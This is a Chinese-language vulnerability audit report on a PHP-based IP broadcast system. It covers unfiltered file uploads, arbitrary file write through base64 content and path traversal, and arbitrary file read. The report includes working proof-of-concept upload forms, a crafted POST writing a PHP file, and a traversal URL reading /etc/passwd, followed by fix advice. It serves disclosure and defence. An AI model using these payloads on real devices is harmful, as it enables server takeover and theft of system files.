某IP广播系统代码审计
字数 1699 2025-08-07 00:34:58
IP广播系统代码审计报告与漏洞分析
0x00 审计前的准备
本次审计针对某IP广播系统,所有发现漏洞已提交CNVD。系统主要功能代码位于php目录下,审计重点应放在该目录。
0x01 文件上传漏洞分析
upload/my_parser.php 任意文件上传
漏洞位置:upload/my_parser.php
漏洞描述:无任何过滤措施,可直接上传任意文件
POC构造:
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
<form action="http://127.0.0.1/upload/my_parser.php" enctype="multipart/form-data" method="post">
<input class="input_file" type="file" name="upload"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</body>
</html>
修复建议:
- 严格限制上传文件类型
- 添加文件内容检查
- 重命名上传文件
0x02 核心功能文件分析
系统所有PHP文件均包含conversion.php,该文件定义了8个关键函数:
-
arrayRecursive(&\(array, \)function, $apply_to_keys_also = false)
- 功能:递归处理数组元素
- 参数:
- $array: 待处理数组
- $function: 处理函数
- $apply_to_keys_also: 是否同时处理键名
-
JSON(\(array, \)want_url_encode = true)
- 功能:数组转JSON并URL编码
- 用途:处理中文字符传输
-
UdpSendJson(\(array, \)msgType)
- 功能:发送JSON数据到UDP服务
-
UdpSend($msg)
- 功能:向8888端口发送命令(AppWebService)
-
UdpSendAndRecvJson(\(array, \)msgType)
- 功能:发送并接收JSON数据
-
UdpSendAndRecv($msg)
- 功能:发送接收数据,向本地8888端口发送POST请求
-
phplog($data)
- 功能:日志记录
-
get_real_ip()
- 功能:通过Client_ip头获取真实IP
- 风险:IP伪造可能
0x03 任意文件上传漏洞
php/addmediadata.php
漏洞位置:
- 允许自定义
$subpath和$fullpath - 检查文件大小后直接使用
move_uploaded_file
利用条件:
- 控制上传路径参数
- 满足基本文件大小检查
POC构造:
<form action="http://target/addmediadata.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="text" name="subpath" value="1/">
<input type="submit" value="Upload">
</form>
访问路径:./upload/1/5.php
同类漏洞:
addmediadatapath.php存在相同问题
php/addscenedata.php
漏洞描述:
- 无过滤直接上传
- 文件保存到
./images/scene/目录
POC构造:
<form action="http://target/addscenedata.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
访问路径:./images/scene/5.php
0x04 任意文件写入漏洞
漏洞位置:多个接口存在此问题
利用条件:
- 需要POST参数
jsondata $caller,$callee,$imagename,$imagecontent不为空$imagename用下划线分割后等于三部分$callee参与目录拼接(可目录遍历)
漏洞原理:
- 接收base64编码内容
- 解码后直接写入文件
POC构造:
POST /vulnerable_endpoint HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
jsondata={"caller":"attacker","callee":"../../path","imagename":"malicious_file.php","imagecontent":"PD9waHAgcGhwaW5mbygpOz8+"}
(base64内容为<?php phpinfo();?>)
0x05 任意文件读取漏洞
php/exportrecord.php
漏洞位置:
- 直接使用
downname参数 - 仅使用
basename过滤(第37行) - 第41行直接
fread文件内容
利用方式:
http://target/exportrecord.php?downname=../../etc/passwd
同类漏洞:
exprottts.php存在相同问题
0x06 漏洞总结与修复建议
漏洞总结
- 多处无过滤文件上传
- 任意文件写入
- 任意文件读取
- 路径遍历风险
- 硬编码端口(8888)风险
修复建议
-
输入验证:
- 所有用户输入进行严格过滤
- 使用白名单验证文件类型和路径
-
文件操作安全:
- 禁止用户控制文件路径
- 上传文件重命名
- 限制文件访问目录
-
权限控制:
- 最小权限原则运行服务
- 敏感操作需要身份验证
-
日志监控:
- 加强日志记录
- 监控异常文件操作
-
代码重构:
- 实现统一的安全过滤函数
- 移除危险函数直接调用
整体评价
该系统存在严重安全缺陷,多处高危漏洞可导致服务器完全沦陷。硬件设备厂商常忽视代码安全,建议进行全面安全审计和代码重构。